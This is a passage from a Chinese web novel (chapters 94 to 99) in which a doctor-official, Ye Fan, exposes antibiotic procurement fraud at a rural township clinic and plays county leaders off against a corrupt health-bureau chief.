“有您这句话,我就放心了。”叶凡站起身,“马局,那我先去准备了。方案出来,第一个给您看。”
说完,他转身就走,留下马德龙一个人坐在办公室里,对着那杯热气腾腾的龙井,怎么品都觉得有点发苦。
从马德龙办公室出来,叶凡没有回自己办公室,而是直接下楼,驱车赶往县政府。
他很清楚,张海涛是县委**,是党委一把手,代表着方向和人事。
而县长**,才是政府这台机器真正的操作者,管着钱袋子和具体的执行。
张海涛给了他一把“尚方宝剑”,可这剑能不能砍得动人,还得看**这边给不给力。
他不能让自己彻底沦为张海涛一个人的棋子。
县长办公
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室里,**正在看一份文件,见叶凡进来,他放下笔,指了指对面的沙发。
“海涛**的动作,很快嘛。”**揉了揉眉心,他的语气里没有客套,只有一股子开门见山的直接,“他这是把你放在火上烤。”
“我知道。”叶凡在他对面坐下。
“知道你还接?”
“箭在弦上,不得不发。”叶凡苦笑了一下,“再说,我是个医生,总不能见死不救。”
**沉默了片刻,忽然问道:“你觉得,乡镇医疗改革,最难的是什么?”
“钱和人。”
“不对。”**摇了摇头,他站起身,走到窗边,看着楼下车水马龙的县城,“最难的,是关系。是一张看不见,却又无处不在的网。”
“我们青川县,二十三个乡镇卫生院。你知道这二十三个院长,有多少是正经学医出身的吗?不到三分之一。”
“剩下的,不是哪个领导的亲戚,就是哪个部门塞进来的关系户。他们不懂业务,但懂人情,懂利益。每一笔药品采购,背后都可能站着一个局长的小舅子。每一台被当成废铁闲置的设备,都可能是一个副县长打过的招呼。”
**转过身,目光锐利地看着叶凡:“张海涛把这把刀给你,是想让你去砍断这些乱麻。但他不会告诉你,这些麻绳的另一头,可能就牵在他自己或者他亲信的手里。”
“他想让你当一个孤臣,一把快刀。用完了,若是刀刃卷了,就随手扔掉。”
叶凡的心沉了下去,**的话,比马德龙的敲打要狠得多,也真实得多。
“那我该怎么办?”
“守住本心,用好规矩。”**重新坐下,眼神里多了一丝欣赏,“你查康达的时候,做得就很好。不查人,只查账,用证据和法规说话。这一次,也一样。”
他拉开抽屉,拿出一份文件递给叶凡。
“这是县财政去年的审计报告,里面有专门关于乡镇卫生院财务状况的部分。很多数据,很有意思。你拿回去,好好看看。这是政府能给你的,第一发炮弹。”
叶凡接过那份沉甸甸的报告,心里涌起一股暖流。
“谢谢县长。”
“谢我没用。”**摆摆手,“做成了,是青川县老百姓的福气。做不成……就当提前给你交学费了。”
从县长办公室出来,叶凡感觉自己像是刚从一场高强度的会诊中走出来,大脑高速运转,浑身充满了力量。
回到自己那间冷清的副局长办公室,他将审计报告和张海涛的任命文件并排放在桌上。
一明一暗,一授一柄。
这大概就是官场的本来面目。
他刚坐下,准备仔细研究一下**给的“炮弹”,手机就突兀地“嗡”地震动了一下。
是一条短信,来自一个陌生号码。
上面只有一句话。
“康达换了新东家,小心背后捅过来的刀子。”
第95章 新官上任,旧火重燃!
那条短信,像一根扎进肉里的鱼刺,不致命,却让人无法忽视。
叶凡盯着那个陌生号码看了半晌,没有回复,也没有删除,只是默默地存了下来,命名为“线人”。
康达医疗。
这个名字他太熟悉了。
几个月前,他就是凭着对康达医疗采购链的精准打击,才在卫生局这潭死水里,砸出了第一朵浪花。
那时候,康达的后台是卫生局的一个副局长。
现在换了新东家,能量只会更大,手段也只会更隐蔽。
这把“背后捅过来的刀子”,早晚会到,躲是躲不掉的。
叶凡将手机扔到一边,不再去想这件事。与其担忧未知的风险,不如磨快自己手里的刀。
他将**给的那份审计报告,摊开在灯下。
如果说张海涛给的是“名”,是尚方宝剑;那**给的,就是“实”,是真金白银的炮弹。
报告很厚,数据繁杂。
但在叶凡眼里,这些枯燥的数字,就像一张张人体CT扫描图。
他能清晰地看到哪里是健康的组织,哪里是增生的肿瘤。
他的手指划过一页页报表,速度越来越快。
笔尖在笔记本上飞速地记录、对比、勾画。
青川县二十三个乡镇卫生院,年度药品采购总额、医疗设备折旧率、门诊人次、住院床位周转率……无数数据在他脑中汇聚成一张巨大的网络。
突然,他的笔尖停了下来。
目标锁定——梅林镇卫生院。
报告显示,梅林镇常住人口一万二千人,多为老人和儿童。
但其卫生院去年的抗生素采购额,竟然是全县二十三个乡镇卫生院里最高的,甚至比一些人口大镇还高出百分之三十。
尤其是其中一款价格昂贵的第三代头孢,采购量大得惊人。
“一个乡镇卫生院,把第三代头孢当饭吃?”叶凡的嘴角,勾起一丝冷笑,“要么是梅林镇爆发了超级细菌,要么就是他们的药房,成了某些人的提款机。”
他找到了第一个需要切除的“病灶”。
第二天,县委组织部和卫生局的联合发文,以惊人的速度下达到了各单位。
《关于成立青川县乡镇医疗改革试点工作领导小组的通知》被贴在了卫生局一楼最显眼的公告栏上,叶凡的名字,作为常务副组长,排在县委**张海涛之下,格外醒目。
卫生局给他分了一间新的办公室,就在局长马德龙的隔壁。
说是为了方便“随时向马局长汇报工作”。
叶凡刚在新办公室坐下,他这个“光杆司令”的兵,就陆续来报到了。
第一个进来的是个五十来岁的老同志,叫王功,头发稀疏,眼袋浮肿,端着一个硕大的搪瓷茶缸,上面印着“为人民服务”。
“叶组长,我叫王功,局档案室的。马局长说我经验丰富,派我来协助您工作。”王功笑呵呵地说着,自顾自地找了个靠窗的位置坐下,拿出报纸,熟练地泡上了茶。
一股子“只要不退休,就把单位当成家”的松弛感,扑面而来。
叶凡点点头,这是马德龙送来的“定海神针”,用来稳定军心的——只要他坐在这儿,这个小组就快不起来。
第二个进来的是个年轻姑娘,叫李莉,二十五六岁,穿着得体的套裙,戴着一副黑框眼镜,看起来精明干练。
“叶组长好,我是县委办派来的联络员李莉,负责小组与县委办的沟通协调工作。”她说话语速很快,条理清晰,说完就拿出个小本子,一副随时准备记录领导指示的模样。
叶凡多看了她一眼。这应该是张海涛安插的“眼睛”,用来实时监控手术进度的。
第三个进来的是个愣头青,叫陈杰,刚从医学院毕业没两年,被从县医院临时抽调过来的,脸上还带着几分学生气。
他看着叶凡,眼睛里全是崇拜的小星星。
“叶……叶老师!我叫陈杰!我听说了您在红石峡的事,太牛了!您放心,我什么活儿都能干!”
叶凡看着眼前这个“卧龙凤雏”加一个小粉丝的奇葩组合,忽然觉得有点想笑。
这就是张海涛许诺的“人”?
一个养老的,一个盯梢的,再加一个啥也不懂的热血青年。
这哪里是医疗改革小组,这分明就是一出官场情景喜剧。
就在这时,办公室的门又被推开了。
苏沐秋抱着她的宝贝相机,一阵风似的闯了进来,身后还跟着一个扛着摄像机的师傅。
“叶大组长,恭喜高升啊!”苏沐秋笑得像只小狐狸,“江城晚报特派记者苏沐秋,前来为您和您的改革小组,做全程跟踪报道!够不够意思?”
她一边说,一边冲李莉和王功眨了眨眼:“两位,别紧张,我们就是记录一下。阳光执法,阳光改革嘛!”
李莉的表情明显僵了一下,下意识地看了一眼叶凡。
王功手里的报纸,也悄悄放了下来。
记者,还是江城晚报的记者,这变量可就太大了。
叶凡看着苏
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沐秋,心里涌起一股暖意。
这个女人,总是在最关键的时候,送来最需要的助攻。
她不是来报道的,她是来架设“无影灯”的。
在这盏灯下,任何想在暗中搞小动作的人,都得掂量掂量。
“好了,人都到齐了。”叶凡站起身,拍了拍手,把所有人的目光都吸引了过来。
他没有说任何开场白,直接将一份打印好的图表,拍在了会议桌上。
“这是梅林镇卫生院去年的抗生素使用数据图。”
他指着图上一根突兀高耸的红色柱状图。
“根据这张图,去年梅林镇平均每个人,都至少挂了三次吊瓶,而且用的都是昂贵的第三代头孢。我想请问一下,在座的有没有梅林镇的亲戚朋友?他们是集体得肺炎了吗?”
办公室里一片死寂。
王功端着茶杯,忘了喝。
李莉握着笔,忘了记。
陈杰这个科班出身的,更是看得目瞪口呆,他很清楚这种数据背后意味着什么。
“王功同志,”叶凡的目光转向那位老同志,“麻烦您去局办公室,申请一台车,加满油。”
王功愣了一下:“啊?叶组长,这……现在?”
“对,现在。”叶凡的语气不容置疑,“李莉同志,麻烦你跟县委办报备,我们小组今天要下乡调研,第一站,梅林镇。”
李莉的眼神有些犹豫:“叶组长,这么突然?是不是先制定一个详细的调研方案……”
“最好的方案,就是没有方案。”叶凡打断了她,“陈杰,你马上去财务科,把梅林镇卫生院去年所有的药品采购发票和报销凭证,全部复印一份,盖上财务章。”
“苏记者,”叶凡最后看向苏沐秋,脸上露出一丝微笑,“你的镜头,可要跟紧了。我怕一会儿场面太精彩,你来不及拍。”
他这一连串的命令,快得让人喘不过气来。
没有商量,没有动员,像一个经验丰富的主刀医生,在术前用最短的时间,向他的团队下达最清晰的指令。
“都听明白了吗?”叶凡环视一周。
王功和李莉对视一眼,都在对方眼中看到了震惊和一丝身不由己。
他们本以为是来喝茶看戏的,没想到开场就是冲锋。
“明白!”只有陈杰,兴奋地满脸通红,大声应道。
“好。”叶凡拿起外套,“半小时后,楼下集合。我们去给梅林镇卫生院,做一次肠镜检查。我倒要看看,它这肠子里,到底藏了多少屎?”
第96章 不宣而战,初探病巢!
前往梅林镇的路上,桑塔纳车里的气氛有些微妙。
王功抱着他那硕大的搪瓷茶缸,蜷在角落里,一副晕车的模样,嘴里念念有词:“哎哟,这路……小叶组长,凡事预则立,不预则废。咱们就这么闯过去,连个招呼都不打,不合规矩,回头人家告我们个骚扰基层……”
坐在副驾驶的苏沐秋从后视镜里瞥了他一眼,相机镜头正对着他那张苦瓜脸:“王老师,放心,我这都录着呢。标题我都想好了——《改革先锋不畏难,老将出马显担当》,保证把您的奉献精神写得明明白白。”
王功的嘴角抽了抽,把脑袋扭向窗外,不说话了。
后排,李莉正襟危坐,双手紧紧捏着手机,指关节都有些发白。
她几次想把手机揣进兜里,却又不敢,那样子像个偷偷给家长发消息,又怕被老师当场抓包的小学生。
只有陈杰,像个第一次参加秋游的孩子,激动得满脸通红。
他怀里紧紧抱着那叠刚复印出来的、还带着热气的发票凭证,仿佛抱着圣旨。
他不时地看向驾驶座上叶凡的侧脸,眼神里的崇拜几乎要溢出来。
叶凡开着车,神情专注,对车内的暗流涌动恍若未觉。
他就像一个即将进入手术室的主刀医生,外界的一切嘈杂,都无法干扰他脑中清晰的手术预案。
梅林镇卫生院,坐落在镇子的主街尽头。
一栋三层高的白色小楼,墙皮有些剥落,门口的宣传栏里还贴着去年的“冬季流感预防通知”。
院子里稀稀拉拉停着几辆电动车,几个穿着白大褂的护士正凑在一起,一边嗑瓜子一边聊天,看见有车进来,也只是懒洋洋地抬了抬眼皮。
一切都显得那么寻常,甚至有些萧条。
“就这?一年能用掉上百万的抗生素?”陈杰看着眼前这副景象,满脸的不可思议。
叶凡没说话,直接推门下车。
苏沐秋的摄像师第一时间扛着机器跟上,镜头开启,红灯闪烁。
那几个嗑瓜子的护士终于察觉到了不对劲,连忙扔掉手里的瓜子壳,站直了身子。
“你们找谁?”一个年纪稍大的护士长模样的女人,皱着眉问道。
“我们是县医疗改革工作组的。”叶凡亮出自己的工作证,“找你们钱院长。”
一听“工作组”,护士长的脸色瞬间变了。
她上下打量着这群不速之客,尤其是在那台黑洞洞的摄像机镜头上停留了片刻,眼神里闪过一丝慌乱。
“钱院长……他今天下乡给敬老院的老人做体检去了,不在院里。”
“是吗?”叶凡笑了笑,“那正好,我们等他回来。正好也参观一下咱们卫生院的先进设施。”
他说着,迈开步子就往门诊楼里走。
“哎,你们不能乱闯!”护士长连忙上前阻拦。
叶凡脚步一顿,回头看着她:“按照规定,县工作组有权对下属单位进行随时抽查。如果你要阻拦,就是妨碍公务。苏记者,刚才这段,录下来了吗?”
苏沐秋把相机往前一递,笑眯眯地说:“录下来了,高清的。”
护士长的脸,一下子白了。
就在这时,一个挺着啤酒肚、头发梳得油光锃亮的中年男人,从二楼楼梯口探出头来,满脸堆笑地喊道:“哎呀呀,哪阵香风把各位领导吹来了!误会,都是误会!”
男人一路小跑下楼,热情地伸出双手,直奔叶凡而来。
他就是梅令镇卫生院院长,钱富贵。
“我就是钱富贵,刚在办公室打电话跟局里汇报工作,没听到楼下的动静。怠慢了,怠慢了!”
他握住叶凡的手,用力摇晃着,那股子自来熟的劲头,仿佛见到了亲人。
“叶组长是吧?久仰大名,年轻有为,是我们全县卫生系统的骄傲啊!您来视察,怎么不提前打个电话,我好扫榻相迎,把全院职工都叫来,听您指示!”
叶凡不动声色地抽出自己的手:“钱院长不用客气,我们就是随便看看。听说钱院长刚从敬老院回来,辛苦了。”
钱富贵脸上的笑容一僵,但立刻又恢复了自然:“是啊,是啊,人老了,就得多关心。我们院,最重视的就是这些孤寡老人了。”
“是吗?”叶凡的目光转向他身后,“我刚才在门口,好像看到卫生院的车还停在院里,车头都是干的。梅林镇的敬老院,路这么好走吗?车上连点泥都沾不上?”
钱富贵的额角渗出了一丝细密的汗珠。
叶凡不再理他,径直走到一楼的药房窗口。
窗口里,一个年轻的药剂师正在低头玩手机。
“你好,把你们去年的药品出入库台账拿出来我看一下。”
药剂师抬起头,不耐烦地问:“你是谁啊?”
“我们是县工作组的。”李莉上前一步,亮出证件,语气里带着几分县委办特有的矜持和严厉。
药剂师的脸色变了,求助似的看向身后的钱富贵。
钱富贵连忙凑过来,满脸堆笑:“叶组长,这台账……都在档案室锁着呢。要不,咱们先去会议室喝杯茶,我马上让人去取?”
“不用了。”叶凡的语气很平淡,“我怕茶叶太贵,我们工作组经费有限,喝不起。”
他转向陈杰:“小陈,把发票给钱院长看看。”
陈杰立刻上前,将那叠盖着鲜红财务章的复印件,“啪”地一声,拍在了药房的窗口台面上。
“钱院长,这是你们卫生院去年,采购第三代头孢‘头孢哌
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酮舒巴坦钠’的发票。总计一百二十三万元。我想请问,这些药,都用哪儿去了?”
当钱富贵看到那些发票复印件,尤其是上面那枚刺眼的“青川县卫生局财务专用章”时,他的脸色终于从红润变成了煞白。
他知道,今天这阵仗,不是来喝茶的,是来抄家的。
“这……这个……”他结结巴巴,汗如雨下,“我们镇……呼吸道疾病多发,病人有需求,我们……就得保障用药啊……”
“是吗?”叶凡的目光变得锐利起来,“全镇一万两千人,就算一半人去年都得了需要用第三代头孢的重度感染,你这药量也够他们每人输液一个疗程了。钱院长,你是把你们梅林镇当成江城市的传染病医院在经营吗?”
他不再给对方任何喘息的机会,直接对身后的王功和李莉下令。
“王老师,李莉,你们二位,加上陈杰,现在立刻进入药房,核对库存。我要知道,发票上这价值一百多万的头孢,现在还剩多少在仓库里。”
“是!”陈杰第一个响应,兴奋地就要往里冲。
“你们敢!”钱富贵突然像被踩了尾巴的猫一样,尖叫起来,张开双臂拦在药房门口,“没有我的允许,谁也不能进我的药房!这是我们卫生院的重地!”
苏沐秋的摄像机镜头,稳稳地对准了他那张因恐惧而扭曲的脸。
王功和李莉都有些犹豫,看向叶凡。
叶凡的脸上第一次露出了冷笑。
“你的药房?”他往前走了一步,逼视着钱富贵,“这卫生院,是国家的。这药房,是人民的。你一个院长,有什么资格说‘你的’?”
“钱院长,你这么紧张,是怕我们发现点什么?”叶凡的声音不大,却字字诛心,“是怕我们发现,这上百万的药,根本就没进过你的仓库?还是怕我们发现,你的台账和库存,根本就对不上?”
钱富贵被他逼得连连后退,后背撞在了门框上,眼神里充满了绝望和疯狂。
他知道,完了。
药房的“账”,是经不起查的。
那些昂贵的抗生素,大部分都通过**处方、假造病历的方式,被重新倒卖了出去,换成了真金白银。
这是他和他背后的人,经营了多年的生意。
“叮铃铃!”
就在这剑拔**张的时刻,钱富贵的手机,突兀地响了起来。
他像是抓住了最后一根救命稻草,手忙脚乱地掏出手机。
看到来电显示,他那张死灰般的脸上,瞬间涌起一股狂喜。
他按下了免提键,电话里传来一个傲慢而阴沉的声音。
“富贵,听说县里来人了?慌什么!天塌不下来!你告诉他们,我马德龙的人,他们动一个试试!”
第97章 王法,还是局长的法?
电话里的声音,如同惊雷,在梅林镇卫生院这间小小的门诊大厅里炸响。
马德龙!
卫生局一把手!
王功手里的搪瓷茶缸“咣当”一声掉在地上,热水洒了一地,他却浑然不觉,一张脸比刚才晕车时还要白。
李莉紧紧捏着手机,指甲深深地嵌进掌心,她下意识地后退了半步,仿佛那声音能顺着空气传染剧毒。
前一秒还如丧家之犬的钱富贵,此刻像是被注入了强心剂,整个人的腰杆瞬间挺得笔直。
他脸上绝望的死灰褪去,涌上一种病态的、小人得志的狂喜。
“听见没有!”他指着叶凡,声音尖利地叫嚣,“马局长说了!我钱富贵,是马局长的人!你们敢动我一下试试!”
苏沐秋的镜头纹丝不动,忠实地记录下钱富贵那张扭曲而猖狂的脸。
她心里清楚,今天这出戏,已经到了最高潮。
叶凡这个年轻的组长,面对来自顶头上司最直接、最不加掩饰的压力,是退,还是进?
退一步,刚刚竖起的威信将荡然无存,医疗改革小组沦为全县的笑柄。
进一步,就是公然与卫生局一把手撕破脸,前路必将是刀山火海。
所有人的目光都聚焦在了叶凡身上。
叶凡的脸上没有任何表情。
他没有愤怒,也没有畏惧,只是静静地看着状若疯癫的钱富贵,那眼神像是在看一个刚刚注射了过量**的病人。
然后,他伸出手。
在所有人惊愕的目光中,他从钱富贵手里,拿过了那个还在通话中的手机。
“马局长,您好,我是叶凡。”
他的声音很平静,通过免提,清晰地传遍了整个大厅。
电话那头的马德龙显然没料到手机会换人,愣了两秒,才发出一声冷哼:“叶凡?你还知道我是局长?谁给你的权力,带着记者和摄像,跑到基层单位去搞突然袭击!扰乱正常医疗秩序,造成了极其恶劣的影响!你这是想干什么?想**吗!”
一顶接一顶的大帽子扣下来,压得人喘不过气。
王功和李莉的头已经快垂到胸口了。
“马局长,您误会了。”叶凡的语气,听上去甚至有些诚恳,“我正是为了维护局里和您本人的声誉,才不得不谨慎行事。”
“哦?”马德龙的声音里充满了讥讽,“我倒想听听,你这是怎么个‘维护’法?”
“是这样的,马局长。”叶凡不疾不徐地说道,“我们小组在核对数据时发现,梅林镇卫生院的药品账目,存在一些……嗯,不太清楚的地方。尤其是和康达医疗公司的往来账目,数额巨大,但流程上有些瑕疵。您也知道,康达公司现在风头上,纪委盯得紧。我担心,万一这里面有什么误会,被别有用心的人捅出去,说我们卫生系统账目不清,监管不力,那第一个受影响的,就是您这位一把手局长啊。”
他顿了顿,给了电话那头消化信息的时间。
“所以,我今天带队过来,就是想悄悄地、内部地把问题核实清楚。如果钱院长是清白的,我们马上就走,就当没来过,绝不外扬,也好洗清他身上的嫌疑,不能让您这样爱护下属的好领导蒙冤。如果……我是说如果,账上真有点小问题,我们内部处理掉,也是把影响降到最低,这同样是在保护您啊。”
“苏记者是江城晚报的,能量大,跟市里领导也说得上话。我请她来,就是想让她做个见证,见证我们卫生系统是如何在您的领导下,刮骨疗毒,自我净化。这篇报道要是发出去,标题就是《青川县卫生局不等不靠,主动作为,铁腕整治行业沉疴》,这全是您的政绩。马局长,您说我这番苦心,您能理解吗?”
大厅里,死一般的寂静。
王功的嘴巴张成了“O”型,他看着叶凡,像是第一天认识这个人。
李莉抬起头,握笔的手不再颤抖,眼神里充满了难以置信的震撼。
苏沐秋强忍着笑意,把脸埋在相机后面,肩膀一耸一耸的。
这哪里是解释?这分明就是**诛心!
每一句话,都把马德龙高高抬起,每一个字,都在他脚下挖坑。
你马德龙不是说钱富贵是你的人吗?
好,我就是为了保护你的人,怕他被冤枉,才来调查的。
你不是怕影响恶劣吗?
好,我就是怕影响恶劣,才搞内部核查,帮你捂盖子。
你不是怕记者吗?
好,我请记者来,就是为了宣传你领导有方,给你送政绩的。
现在,皮球狠狠地踢回给了马德龙。
你如果还坚持让叶凡收队,就等于向所有人承认:你心虚,你怕查,你跟钱富贵之间不清不楚,你所谓的“我的人”,就是利益共同体。
电话那头,只剩下粗重的喘息声。
马德龙感觉自己就像被架在火上烤,下面还坐着一圈等着看戏的观众。
他这辈子,都没吃过这么大的哑巴亏。
良久,他几乎是从牙缝里挤出几个字:“……那你,查吧。一定要,查清楚!”
“嘟……嘟……嘟……”
电话被猛地挂断了。
叶凡把手机扔回给已经彻底石化的钱富贵。
“钱院长,听到了吗?”叶凡看着他,眼神平静如水,“马局长让你,配合我们,查清楚。”
钱富贵“扑通”一声,一屁股瘫坐在了地上,面如死灰。
他最后的靠山,倒了。
不,不是倒了,是被叶凡三言两语,变成了压死他自己的最后一座山。
“现在,可以让我们进药房了吗?”叶凡问道。
钱富贵失魂落魄,再也说不出
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一句话。
叶凡不再看他,对身后的团队一挥手。
“进!”
这一次,再无人敢阻拦。
陈杰第一个冲了进去,王功和李莉对视一眼,也硬着头皮跟了进去。
苏沐秋的摄像师紧随其后,将这历史性的一刻,完整地记录下来。
梅林镇卫生院的药房不大,药品架上稀稀拉拉,甚至有些地方积了灰。
“王老师,你负责清点实物库存,尤其是‘头孢哌酮舒巴坦钠’。”
“李莉,你负责核对药品出库单和病历,看每一笔药品消耗,是否都有对应的处方和病人信息。”
“陈杰,你把所有原始台账都找出来,跟我一起,一笔一笔地对!”
叶凡的指令清晰而冷静,原本还像一盘散沙的三个人,立刻被拧成了一股绳,高速运转起来。
王功虽然嘴上抱怨,但几十年的老档案,业务能力是扎实的,很快就报出了结果:“报告叶组长,仓库里‘头孢哌酮舒巴坦钠’的库存,只有三箱,一共三百支!”
三百支!
发票上可是足足三万支的采购量!
李莉那边的脸色也越来越难看:“叶组-长,出库单和病历对不上!很多出库单后面,根本没有对应的病人信息,或者一个病人的名字,反复出现了几十次!”
证据,已经形成了闭环。
就在这时,在角落里翻找台账的陈杰,突然发出一声惊呼。
“叶老师!你来看这个!”
众人循声望去,只见陈杰从一个堆满杂物的柜子底下,拖出来一个上了锁的铁皮箱。
“开锁!”叶凡命令道。
钱富贵木然地摇摇头,说钥匙丢了。
叶凡看了一眼墙角的消防斧,王功心领神会,抄起斧子,对着那把小小的挂锁,狠狠地砸了下去!
“哐当!”
箱子被打开了。
里面没有金银珠宝,只有一本厚厚的、用黑色塑料皮包裹的笔记本。
叶凡戴上手套,小心翼翼地打开笔记本。
第一页,就让所有人的瞳孔猛地一缩。
上面没有药品名称,只有一行行日期、代号和数字。
“‘老马’,5。”
“‘二舅’,3。”
“‘康-李总’,10。”
……
字迹潦草,但记录清晰。每一个名字后面,都跟着一个数字,单位是“万”。
这是一本分赃账!
一本足以将青川县卫生系统,掀个底朝天的,**。
叶凡合上笔记本,看向瘫在地上的钱富贵,眼神里没有愤怒,只有一种医生看待晚期癌症病人的悲悯。
“钱院长,你的这本账,记错了。”
他把那本黑色的笔记本,放进证物袋,拉上封条。
“走吧,我们回去,帮你好好的,重新算一算。”
第98章 一册死亡簿,满城惊雷声!
返回县城的桑塔纳里,死一般的寂静。
来时的微妙气氛,此刻已经变成了凝固的恐惧。
王功蜷在角落里,怀里那个硕大的搪瓷茶缸早就凉透了,他却还死死地抱着,仿佛那是能救命的浮木。
他一言不发,只是时不时用眼角的余光,飞快地瞥一眼被陈杰和李莉夹在中间的钱富贵,然后触电般地收回来,脸上的褶子抖得像秋风里的落叶。
钱富贵已经彻底成了一滩烂泥,瘫在后座上,面如金纸,眼神涣散,嘴里无意识地重复着:“完了……全完了……”
李莉坐得笔直,背上全是冷汗,那部作为她和县委办联络工具的手机,此刻烫得像一块烙铁。
她脑子里一片空白,今天发生的一切,已经远远超出了她对“下乡调研”这个词的全部理解。
她该如何向张**汇报?说叶凡抄了马局长的小金库?还是说叶凡拿到了一本能让青川县官场地震的黑账?
无论怎么说,她这个联络员都已经被卷入了风暴的最中心。
开车的依旧是叶凡,他握着方向盘的手很稳,眼神专注地看着前方的路,仿佛后座上载着的不是一个定时**和一本**,而是一车刚从乡下采摘回来的土特产。
只有坐在副驾驶的苏沐秋,还能勉强维持镇定。她关掉了摄像机,但那闪烁过的红点,似乎已经烙印在了车里每个人的视网膜上。
她侧过头,看着叶凡那张平静得有些过分的侧脸,低声问:“现在去哪?回卫生局?”
“回卫生局?”叶凡从后视镜里看了一眼魂不守舍的钱富贵,“那不叫汇报工作,那叫羊入虎口。”
苏沐秋心领神会:“那……纪委?”
“纪委是最后一道保险,不是第一发炮弹。”叶凡摇摇头,“这本账,牵扯太广。直接捅到纪委,案子就成了铁案,但也会立刻失控。到时候,想保的人保不住,不想动的人也得被牵连进去,整个青川县会立刻陷入瘫痪。那不是治病,那是同归于尽。”
汽车驶入县城,却没有开往县委或县政府大院,而是在一个不起眼的招待所门口停了下来。
这是县里专门用来接待上级检查组的地方,清净,也足够安全。
叶凡把车钥匙扔给陈杰:“你带王老师和李莉同志先去开三个房间,把钱院长‘安顿’好。记住,二十四小时不能离人,他要是渴了、饿了,满足他,他要是想上厕所,你们俩,必须有一个守在门口。他要是想打电话、想上网、想看电视,一概不行。”
陈杰的脸上因为激动和紧张,冒出了一层细密的汗珠。
他用力点头,像是在接一项神圣的使命:“是!叶老师!保证完成任务!”
王功和李莉对视一眼,都从对方眼中看到了身不由己的苦涩。
他们知道,从现在开始,自己已经和叶凡彻底绑死在了同一艘船上。
这艘船是冲向光明的方舟,还是撞向冰山的泰坦尼克,全看船长怎么开。
安顿好一切,叶凡拿着那个用证物袋封好的黑色笔记本,和苏沐秋一起,走进了自己那间临时开的房间。
他没有立刻打电话,而是先给自己倒了杯水,一口气喝完。
高强度的对峙和算计,让他也感到了一丝精神上的疲惫。
“你打算怎么做?”苏沐秋看着他,眼神里有担忧,也有藏不住的兴奋。
亲手揭开一个惊天大案的序幕,对一个有新闻理想的记者来说,是无法抗拒的诱惑。
“做一台手术,需要分几步?”叶凡反问。
“术前诊断,制定方案,备皮消毒,麻醉,切开,分离,切除,缝合,术后观察。”苏沐秋几乎是下意识地回答。
“没错。”叶凡将那本黑色的笔记本放在桌上,轻轻拍了拍,“今天在梅林镇,我们完成了切开和分离。现在,这本账就是病灶。但要切除它,我需要两把主刀,还需要一个绝对清净无菌的手术室。”
他拿起手机,找到了县长**的号码。
电话响了三声,被接起。
“李县长,我是叶凡。”
“说。”
**那边很安静,声音一如既往地直接。
“县长,您之前给我的那份审计报告,是炮弹。我今天拿着它去梅林镇,一炮下去,炸出了一个**库。”叶凡的语气很平静,却带着不容置疑的份量。
电话那头的**沉默了片刻,显然在消化“**库”这个词的含义。
“有多大?”
“一本账本,初步估计,涉及金额超过五百万。时间跨度三年,牵扯到卫生系统内部、外部供应商,可能还有其他部门的干部。账本的主人是梅林镇卫生院院长钱富贵,人,我已经控制住了。账本,在我手上。”
**的呼吸声明显重了一些。
“你想要我做什么?”
“我需要政府这边,立刻成立一个联合调查组。财政、审计、监察的人都要有。我要查的,不是贪腐,是‘国有资产流失’和‘重大财务违规’。我要用政府的规矩,先把这盘账,算得清清楚楚,明明白白。”叶凡说出了自己的目的。
他要让**来主导“查账”,而不是张海涛来主导“查人”。
这是权力分割,也是一种保护。
“好。”**只说了一个字,却重若千钧,“人,我来协调。地点,你来定。在我给你准确答复之前,管好你的人,看好你的账本。记住,这是政府的刀,别让它沾上别的东西。”
“明白。”
挂了电话,叶凡没有停顿,立刻拨通了另一个号码。
县委**,张海涛。
这一次,电话响了很久才被接起,那头传来张海涛带着一
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丝疲惫和不悦的声音:“什么事?”
“**,我是叶凡。”
“我知道是你。长话短说。”
“我今天在梅林镇卫生院,做了一次探查手术。发现了一个巨大的恶性肿瘤。”叶凡换了一种说辞,“这个肿瘤,已经出现了系统性转移的迹象。如果不立刻进行最大范围的隔离和切除,我担心,整个青川县的干部队伍肌体,都可能会出现坏死。”
张海涛那边,瞬间安静了。
他是个**权术的老手,立刻就听懂了叶凡话里的潜台词。
“恶性肿瘤”意味着**,“系统性转移”意味着窝案串案,“干部队伍肌体坏死”则直接戳中了他这个县委**最敏感的神经——**稳定。
“东西在你手上?”张海涛的声音变得异常凝重。
“是。一本账,一个人。”
“你向**汇报了?”张海涛直接问道。
“向县长汇报的是财务问题,向您汇报的,是组织问题。”叶凡回答得滴水不漏,“查账,是政府的职责。但怎么处理拿了钱的人,怎么稳住即将动荡的局面,怎么借这个机会整肃队伍,纯洁组织,这必须由您这位县委**来亲自掌刀。”
“你想要什么?”
“我需要县委的尚方宝剑。”叶凡的语气变得凌厉起来,“我需要您授权,由我们医疗改革工作组,全权负责此次事件的前期调查。任何部门、任何人,不得干涉。我要把所有相关的线索,都牢牢控制在手里,理清楚,分好类,再一并呈交给您。这把刀,只有握在您手里,才不会伤及无辜,也绝不会放过元凶。”
电话那头,是长久的沉默。
叶凡甚至能想象出张海涛此刻正眯着眼睛,在办公室里来回踱步,权衡着其中的利弊与风险。
**要查账,是天经地义。
他要查人,更是名正言顺。
叶凡这个过河卒,把棋盘上最大的两个王,都逼到了必须表态的位置。
“好。”良久,张海涛的声音再次响起,带着一股不容置疑的威严,“我授权你。记住,叶凡,我要的是一份干净的、完整的、只属于我的手术报告。如果这台手术出了任何差错,你就是第一个被追责的人。”
“**放心。”叶凡的嘴角勾起一抹弧度,“一个好的外科医生,从不会让手术刀脱离自己的控制。”
挂掉电话,叶凡长长地舒了一口气。
房间里,苏沐秋看着他,眼神复杂得像是在看一个怪物。
“你……你就不怕他们两个,联手把你这个小卒子,先吃掉吗?”
“他们不会。”叶凡走到窗边,看着县城里亮起的万家灯火,眼神深邃。
“因为现在,我不是卒子。”
“我是手术台。”
“而他们,都想成为那个亲手拿起手术刀的人。”
第99章 请君入瓮,杀局已成!
夜色如墨,县招待所三楼的走廊里,静得能听见自己的心跳。
叶凡的房间成了临时的作战指挥室。
那本黑色的笔记本就摆在桌子中央,像一个潘多拉的魔盒,散发着无形的压力。
王功把自己的大茶缸子放在离笔记本最远的一角,苦着脸对叶凡说:“叶组长,我……我心脏不好,血压也高,今天受了这么大刺激,我怕我顶不住,要不我先回去……”
“王老师,您是老同志,经验丰富,关键时刻怎么能少了您?”叶凡递过去一杯热水,语气温和,“您放心,这里最安全。而且,接下来的工作,还真得靠您这位老法师把关。”
王功一愣:“我?”
